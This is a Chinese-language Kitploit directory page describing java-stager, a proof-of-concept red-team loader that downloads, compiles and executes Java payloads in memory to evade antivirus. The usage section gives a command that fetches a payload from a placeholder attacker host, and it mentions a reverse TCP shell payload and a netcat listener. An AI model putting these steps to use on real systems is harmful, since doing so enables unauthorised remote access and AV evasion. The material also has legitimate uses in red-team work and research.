Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
java-stager — 一个PoC Java Stager,可在内存中下载、编译并执行Java文件。 | Kitploit
工具/GitHubGitHub/cornerpirate/java-stager
内存取证Payload生成动态代码分析 (DAST)漏洞利用后渗透利用命令与控制学习与教育红队远程访问工具Payload 开发
GitHubcornerpirate/java-stager

java-stager

10730208年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

一个PoC Java Stager,可在内存中下载、编译并执行Java文件。

查看仓库

java-stager

一个概念验证的 Java 加载器,可以在内存中下载、编译和执行 Java 文件。

此内容仅供研究用途,请勿在未经授权的情况下使用。

这是什么?

基于 James Williams 在其演讲 "Next Gen AV vs My Shitty Code" 中的工作,演讲可见:

https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be

对我来说,演讲的关键部分包括:

  • 将加载器加载到目标机器上(接触磁盘,但这是一个良性的二进制文件)
  • 加载器通过 HTTP 下载原始代码(代码保留在内存中)
  • 加载器编译原始代码(同样在内存中)
  • 加载器随后执行编译后的代码(同样在内存中)

他的示例是 .net 的,但在演讲中他提到 Java 也能实现相同的技术。我实现了一个原始的概念验证,我认为它符合上述技术。

使用方法

  • 克隆整个仓库。
  • 在支持 Maven 的 IDE(如 NetBeans)中打开。
  • 加载器(Stager)和示例载荷位于 "/src/main/java" 文件夹中。
  • 根据需要修改加载器,然后编译项目。我使用的是默认配置文件下的 "clean/build"。

NetBeans 中的输出包含类似这样的行:

Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar

要在目标机器上运行,你需要上传 "JavaStager*.jar" 文件和来自 "target" 文件夹的 "lib" 文件夹(包含 Janino)。

以下命令将执行加载器:

java -jar JavaStager-0.1-initial.jar

你会看到用法提示,如下所示:

Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>

"url" 是传递给加载器的唯一参数。示例用法如下:

java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java

你的载荷必须放在名为 "Payload.java" 的文件中,并且你的利用代码必须放在名为 "Run" 的静态方法中。以下是你编写自己的载荷时的模板:

public class Payload {
   public static void Run() {
      // 你的代码写在这里
   }
}

我在 "TCPReverseShell.java" 文件中提供了一个示例反向 TCP 载荷。为了避免名称冲突,该文件未命名为 "Payload.java",并且类名也不正确。"TCPReverseShell.java" 头部的注释说明了如何修改它使其正常工作。

你需要将你的 "Payload.java" 文件托管在 HTTP 服务器上。你可以使用 Apache,也可以像我博客中提到的,使用 Python2 和 Python3 的简易 HTTP/HTTPS 服务:

https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/

攻击者需要启动一个 netcat 监听器,使用标准 nc -lvp 8044 技术来接收回连。

更多信息

解释其工作原理的博客文章:

https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/

展示其实际运行的视频:

https://www.youtube.com/watch?v=-KkJVdSHPAc

下载工具